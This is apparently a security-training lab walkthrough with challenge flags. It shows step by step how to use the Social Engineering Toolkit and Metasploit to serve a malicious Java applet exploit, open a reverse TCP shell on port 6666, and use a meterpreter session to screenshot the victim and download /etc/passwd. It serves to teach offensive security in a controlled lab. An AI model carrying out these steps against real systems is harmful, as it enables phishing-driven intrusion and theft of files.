Social Engineering Toolkit

 

Exploiting Java to Attack a Remote System

Using Social Engineering Toolkit (SET)

1. Click on the Kali icon on the topology diagram.

2. If the VM window is black, simply click somewhere in the window.  For the Username, type root.

4. When prompted for the password, type toor. Press Enter.

Note: The password of toor will not be displayed when you type it for security purposes.

5. Open a new terminal window by clicking on the terminal icon located on the left menu pane.

6. Initiate the ifconfig command to verify if the loopback interface is up and running.

root@Kali-Attacker:~# ifconfig

7. If it is not active, initiate the command below to bring the loopback interface up.

root@Kali-Attacker:~# ifconfig lo up

8. Initiate the ifconfig command to verify if the loopback interface is up and running.

root@Kali-Attacker:~# ifconfig

9. Type the below command and press Enter to initialize the database for Metasploit.

root@Kali-Attacker:~# service postgresql start

 

9. Start the Social Engineering Toolkit by typing the command below. Press Enter.

root@Kali-Attacker:~# setoolkit

10. Notice the random banner that appears at the top of the screen.

Note: your banner will most likely vary.

10. Hit Enter until you see a computer banner that says Free #hugs.  This might take a few times.

Note: when you hit Enter, it might not look like the banner changed.  Scroll up to see the new banner.

10. Notice the flag of 999818. Click on the Challenge icon and type the flag number into the answer box. This is just to show you how to capture Challenge Flags you will see throughout this lab.

10. Get the information for below Challenge Flag by using the same techniques from the previous steps.

10. When presented with the SET main menu, type 1 for Social-Engineering Attacks. Press Enter.

11. On the next menu, type 2 for Website Attack Vectors. Press Enter.

12. Choose the Metasploit Browser Exploit Method by typing the number 2. Press Enter.

13. Choose Web Templates by typing 1. Press Enter.

14. When asked, “Are you using NAT/Port Forwarding?” type yes. Press Enter.

15. When prompted for an IP address, type 203.0.113.2. Press Enter.

16. When asked if the payload handler is on a different IP, type no. Press Enter.

17. On the select template menu, type 1 for Java Required. Press Enter.

18. From the browser exploit list, type 12 to use the Java 7 Applet Remote Code Execution. Press Enter.

19. Type 1 to use Windows Shell Reverse_TCP. Press Enter.

20. Type 6666 to use as the reverse port number. Press Enter.

21. Allow 1 to 2 minutes to pass for the SET web server to start. Once the Server started message appears, press Enter.

Notice the prompt is set to msf exploit(java_jre17_exec). The Local IP presented is the malicious web URL we will want to send to the victim to initiate. Take note of this URL.

Initiating Malicious URL

1. Click on the Ubuntu icon on the topology diagram.

2. On the login screen, select the student account.

3. When prompted for the password, type securepassword. Press Enter.

Note: The password of securepassword will not be displayed when you type it for security purposes.

4. Open the Firefox web browser by clicking on the Firefox icon located on the left menu pane.

5. In the address bar, type the following: http://203.0.113.2:8080/ followed by pressing Enter.

6. A message will appear asking to a Java applet. Click on Allow.

7. Another Firefox message appears. Click on Allow Now.

8. Open a new terminal window by clicking on the terminal icon located on the left menu pane.

9. Type the command below and press Enter to verify if a connection has been made to the remote server.

student@Ubuntu:~$ netstat –nao | grep 6666

Note the connection has been established.

Using The Meterpreter Session

1. On Kali machine, focus on the terminal window left open with SET running. Notice the prompt displaying that a meterpreter session has been opened. Press Enter to bring the command prompt up.

2. Type sessions followed by pressing Enter. Notice the active sessions presented.

3. Start an interaction with session 1. Type the command below.

sessions –i 1

4. Press Enter.

5. Notice the meterpreter prompt. Type sysinfo followed by pressing Enter to receive info on the OS of the victim.

6. Type getuid followed by pressing Enter to receive user info that the server is running as.

7. Type ps followed by pressing Enter to receive a list of running processes on the victim.

8. Type screenshot and press Enter to print an active screenshot of the victim’s current desktop screen.

9. Type download /etc/passwd and press Enter to grab the passwd file.

10. Type shell into the meterpreter prompt and press Enter.

11. Type pwd and press Enter to confirm we have shell access.

12. Type id student and press Enter to view the UID of 1000.

13. Get the information for below Challenge Flag by using the same techniques from the previous steps.